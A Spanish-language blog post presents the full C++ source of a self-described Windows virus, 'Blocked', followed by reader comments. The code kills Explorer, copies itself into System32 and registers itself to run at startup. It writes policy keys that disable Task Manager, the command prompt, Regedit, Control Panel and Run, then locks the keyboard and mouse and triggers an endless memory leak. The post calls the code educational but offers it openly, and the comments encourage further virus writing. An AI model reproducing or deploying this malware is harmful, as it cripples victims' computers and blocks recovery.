Bueno lo primero que hace el virus es finalizar el proceso Explorer.exe, despues
se copia en la carpeta C:\Windows\System32 como lo hace su primera version solo que aqui no importa con que nombre lo compiles siempre se copiara sin ningun problema (al menos en Windows XP), lo segundo es que al copiarse al Inicio de Windows comprueba si ya esta infectado para no hacerlo dos veces esto solo con el fin de hacer todo mas eficaz.
Esas son las dos cosas que mejore, ahora dire lo que agregue:
Ahora ya no cierra la ventana de Administrador de Tareas ahora lo bloquea al igual que el Simbolo del Sistema, el Editor de Registro (Regedit), el Panel de Control ademas de que lo elimina del menu de Inicio, tambien Elimina la Opcion Ejecutar del Menu de Inicio, todo esto con el fin de evitar que se eliminado de la Memoria.
Algo interesante que agregue fue un Memory Leak (Fuga de Memoria) un error que ocurre cuando la memoria reservada no se libera esto provoca que la memoria se sature y en consecuencia se agote sin embargo no he visto que sucede cuando la memoria se agota no probe el virus hasta ese punto.
Tambien agregue un poco de interaccion con el usuario atravez de MenssageBox solo para hacer mas divertidas las cosas.
La funcion para Bloquear el Mouse la deje tal y como estaba.
En fin el motivo por el que hago el virus y continuo mejorandolo es solo con fines educativos e igual se los comparto con ese fin, este virus contiene una interesante recopilacion de funciones que se que a muchas personas les podria servir para otros fines que espero y asi sea.
El unico problema que yo le encontre es que es demasiado codigo, tratare de reducirlo igual si alguien sabe como reducir algunas partes del codigo pues puede hacer el aporte si quiere.
He visto los resultados de la encuesta acerca de publicar un virus programado en Java espero pronto poder mostrarselos aunque es muy parecido al virus Blocked y no produce daños al S.O. sin embargo es otra cosa que quiero compartir.
Ahora el codigo:
#include //Para poder agregar la entrada al registro
#include //Esto es para BlockInput();
#include
#include
char hacko[1024]="Error en el systema!!!\n - Se ha producira un Memory Leak :P Hacko";
char* explorerEnd="explorer.exe";
char* die1="DisableCMD";
char* die2="DisableTaskMgr";
char* die3="DisableRegistryTools";
char* die4="NoControlPanel";
char* die5="NoRun";
void VirusCopy()
{
char path[256];
char nombre[60]="wnws";
char* ruta=getenv("windir");
//obtiene la ruta de la instalacion de windows
strcat(ruta,"\\System32\\");
//agrega System32 a la ruta
strcat(nombre,".exe");
//agrega .exe a wnws
strcat(ruta,nombre);
//agrega wnws.exe a C:\WINDOWS\System32
HMODULE exe = GetModuleHandle(0);
//nos retornara un handle al archivo usado para crear el proceso de llamada
GetModuleFileName(exe, path, 256);
//obtien la ruta de si mismo
CopyFile(path,ruta,false);
//se copia a la carpeta System32
}
bool OnRun() //Comprueba si el virus ha infectado el registro
{
char cadena[256];
DWORD cadena2 = sizeof(cadena);
HKEY revisar;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&revisar))
{//Si no se abre la clave devolver false para indicar que no existe
return false;
}
ZeroMemory(cadena,cadena2);//Pone en 0 ambas cadenas y le da el tipo DWORD a cadena
if(RegQueryValueEx(revisar,"Windows Network Service",0,NULL,(PBYTE)cadena,&cadena2))
{//si esta infectado cadena guarda el valor alfanumerico
RegCloseKey(revisar);
return false;//Devolver false porque aun no esta infectado el registro
}
else
{
RegCloseKey(revisar);
return true;//Se devuelve true porque el registro ya esta infectado
}
}
void VirusOnRegedit()
{
while (OnRun()==false)
{
char* dir=getenv("windir");
HKEY agregar;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&agregar);
RegSetValueEx(agregar,"Windows Network Service",0,REG_SZ,(const unsigned char*)dir,28);
RegCloseKey(agregar);
}
MessageBox(0, hacko, "Estas infectado por el virus Blocked", MB_OK|MB_ICONERROR);
}
void NoInputStupid()
{
FreeConsole();//oculta la consola win32
BlockInput(true); //bloqueara el teclado y el mouse
Sleep(20000);
BlockInput(false);
}
void hackoKillsExplorerOfBillGates(char* proceso)
{
FreeConsole();
HANDLE procesoShot;
PROCESSENTRY32 pe32;
int result=0;
procesoShot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( procesoShot == INVALID_HANDLE_VALUE ){
printf( TEXT("CreateToolhelp32Snapshot (of processes)") );
}
pe32.dwSize = sizeof( PROCESSENTRY32 );
if( !Process32First( procesoShot, &pe32 ) )
{
printf(TEXT("Process32First"));
CloseHandle( procesoShot );
}
do
{
if(strcmp(proceso,pe32.szExeFile )==0)
{
result=1;
break;
}
} while( Process32Next( procesoShot, &pe32 ) );
if(result==1)
system("taskkill /f /im explorer.exe");
CloseHandle( procesoShot );
}
void MemoryLeak()
{
FreeConsole();
char *x; //1 Byte en Memoria
while(1)
x = new char; // Sectoriza el byte desde el heap y produce un Memory Leak
}
void Bloquear(char* Aplicacion)
{
/* Funcion para Bloquear el Simbolo del Sistema,
Administrador de Tareas,Editor de registro (Regedit),
Panel de control y eliminar Panel de Control y Ejecutar
del menu de Incio de windows*/
try
{
HKEY hHKCU = NULL, hMyKey = NULL;
DWORD value = 1;
if (Aplicacion=="DisableCMD")
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hHKCU, "Software\\Policies\\Microsoft\\Windows\\System", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS)
{
RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD));
RegCloseKey(hMyKey);
}
}
}
if (Aplicacion=="DisableTaskMgr")
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hHKCU, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS)
{
RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD));
RegCloseKey(hMyKey);
}
}
}
if (Aplicacion=="DisableRegistryTools")
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hHKCU, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS)
{
RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD));
RegCloseKey(hMyKey);
}
}
}
if (Aplicacion=="NoControlPanel")
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hHKCU, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS)
{
RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD));
RegCloseKey(hMyKey);
}
}
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hHKCU, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS)
{
RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD));
RegCloseKey(hMyKey);
}
}
}
if (Aplicacion=="NoRun")
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hHKCU, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS)
{
RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD));
RegCloseKey(hMyKey);
}
}
}
}//fin try
catch (...)
{
MessageBox (0,"Error el valor no pudo ser agregado","Error al intentar agregar valor",MB_OK|MB_ICONERROR);
}
}
bool Infectado()
{
/*comprueba si el virus ha infectado el registro
de manera que comprueba que todas la aplicaciones mencionadas
en la funcion Bloquear() ya esten bloqueadas esto con el
fin de evitar que puedan recuperar el control de estas aplicaciones
es decir en caso de que algun "listillo" borrara las entradas con
algun metodo el virus las vuelva a crear.
*/
char cadena[256];
DWORD cadena2 = sizeof(cadena);
HKEY onRegedit;
//Comprueba que el virus haya contamidado el sistema por completo
//Comprueba que ya haya bloqueado el CMD
if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System",0,KEY_QUERY_VALUE,&onRegedit))
{//Si no se abre la clave devolver false para indicar que no existe
return false;
}
ZeroMemory(cadena,cadena2);//Pone en 0 ambas cadenas y le da el tipo DWORD a cadena
if(RegQueryValueEx(onRegedit,"DisableCMD",0,NULL,(PBYTE)cadena,&cadena2))
{//si esta infectado cadena guarda el valor alfanumerico
RegCloseKey(onRegedit);
return false;//Devolver false porque aun no esta infectado el registro
}
else
{
RegCloseKey(onRegedit);
return true;//Se devuelve true porque el registro ya esta infectado
}
//Comprueba que taskmgr y regedit esten bloqueados
if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0,KEY_QUERY_VALUE,&onRegedit))
{
return false;
}
ZeroMemory(cadena,cadena2);
if((RegQueryValueEx(onRegedit,"DisableTaskMgr",0,NULL,(PBYTE)cadena,&cadena2))||(RegQueryValueEx(onRegedit,"DisableRegistryTools",0,NULL,(PBYTE)cadena,&cadena2)))
{
RegCloseKey(onRegedit);
return false;
}
else
{
RegCloseKey(onRegedit);
return true;//Se devuelve true porque el registro ya esta infectado
}
//Comprueba que panel de control este bloqueado y que no este en el menu de Inicio
if((RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0,KEY_QUERY_VALUE,&onRegedit))||(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0,KEY_QUERY_VALUE,&onRegedit)))
{
return false;
}
ZeroMemory(cadena,cadena2);
if((RegQueryValueEx(onRegedit,"NoControlPanel",0,NULL,(PBYTE)cadena,&cadena2))||(RegQueryValueEx(onRegedit,"NoControlPanel",0,NULL,(PBYTE)cadena,&cadena2)))
{
RegCloseKey(onRegedit);
return false;
}
else
{
RegCloseKey(onRegedit);
return true;//Se devuelve true porque el registro ya esta infectado
}
//Comprueba que Ejecutar no este en el menu de Inicio
if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0,KEY_QUERY_VALUE,&onRegedit))
{
return false;
}
ZeroMemory(cadena,cadena2);
if(RegQueryValueEx(onRegedit,"NoRun",0,NULL,(PBYTE)cadena,&cadena2))
{
RegCloseKey(onRegedit);
return false;
}
else
{
RegCloseKey(onRegedit);
return true;//Se devuelve true porque el registro ya esta infectado
}
}
int main()
{
/*En la primera Ejecucion no bloquea el mouse
y tampoco produce el Memory Leak*/
FreeConsole();
hackoKillsExplorerOfBillGates(explorerEnd); //Finaliza el proceso explorer.exe
VirusCopy(); //Se copia a C:\windows\System32
if (Infectado()==false)
{
Bloquear (die1);
Bloquear (die2);
Bloquear (die3);
Bloquear (die4);
Bloquear (die5);
VirusOnRegedit(); //Se copia al registro para iniciar con windows
}
else
{
VirusOnRegedit(); //Se copia al registro para iniciar con windows
MessageBox (0,"El mouse y el teclado seran bloqueados...\n ¿Bloquear?","Windows - Que hago?",MB_YESNO|MB_ICONEXCLAMATION);
MessageBox (0,"Ahora viene un Memory Leak!!!\n Virus creado por Hacko - Hack Diseño®","Virus Blocked by: Hacko",MB_OK|MB_ICONEXCLAMATION);
NoInputStupid(); //Bloquea El teclado y el Mouse
MemoryLeak();
}
return 0;
}
este código lo incrementaste considerablemente!!!!! pero vale ya lo reviso se ve que le pusiste mucho empeño y tienes iniciativa sigue adelante :D e investiga mucho sobre este interesante mundo de los virus informáticos yo también sigo ese camino.... XD XD
Si de hecho le puse empeño pero pudo haber sido mejor, sin embargo C++ es un lenguaje complicado, pero si tratare de mejorar este virus ya vere que le agregare.
Aunque ahora estoy trabajando con lenguaje de ensablador pronto publicare algo de cracking o un virus en ese lenguaje.
En fin, gracias por tus comentarios y tambien por visitar mi Blog, que ya esta algo abandonado pero no por eso Muerto, si necesitas algo enviame un mail dando clic en el boton de arriba en Contacto.
¡Hola! Gracias por visitar mi blog. Espero y no sea tu ultima visita. Deja un comentario, sugerencia, observacion o lo que quieras.
P.D.:Ya no se pueden realizar comentarios anonimos desde que aqui por razones de seguridad, pero puedes utilizar get-box para dejar un comentario con tu nombre y tu mail o url o tambien puedes dar clic en el boton Contacto.
2 Comentarios:
este código lo incrementaste considerablemente!!!!!
pero vale ya lo reviso se ve que le pusiste mucho empeño y tienes iniciativa sigue adelante :D
e investiga mucho sobre este interesante mundo de los virus informáticos yo también sigo ese camino.... XD XD
Si de hecho le puse empeño pero pudo haber sido mejor, sin embargo C++ es un lenguaje complicado, pero si tratare de mejorar este virus ya vere que le agregare.
Aunque ahora estoy trabajando con lenguaje de ensablador pronto publicare algo de cracking o un virus en ese lenguaje.
En fin, gracias por tus comentarios y tambien por visitar mi Blog, que ya esta algo abandonado pero no por eso Muerto, si necesitas algo enviame un mail dando clic en el boton de arriba en Contacto.
Publicar un comentario
¡Hola!
Gracias por visitar mi blog.
Espero y no sea tu ultima visita.
Deja un comentario, sugerencia, observacion o lo que quieras.
P.D.:Ya no se pueden realizar comentarios anonimos desde que aqui por razones de seguridad, pero puedes utilizar get-box para dejar un comentario con tu nombre y tu mail o url o tambien puedes dar clic en el boton Contacto.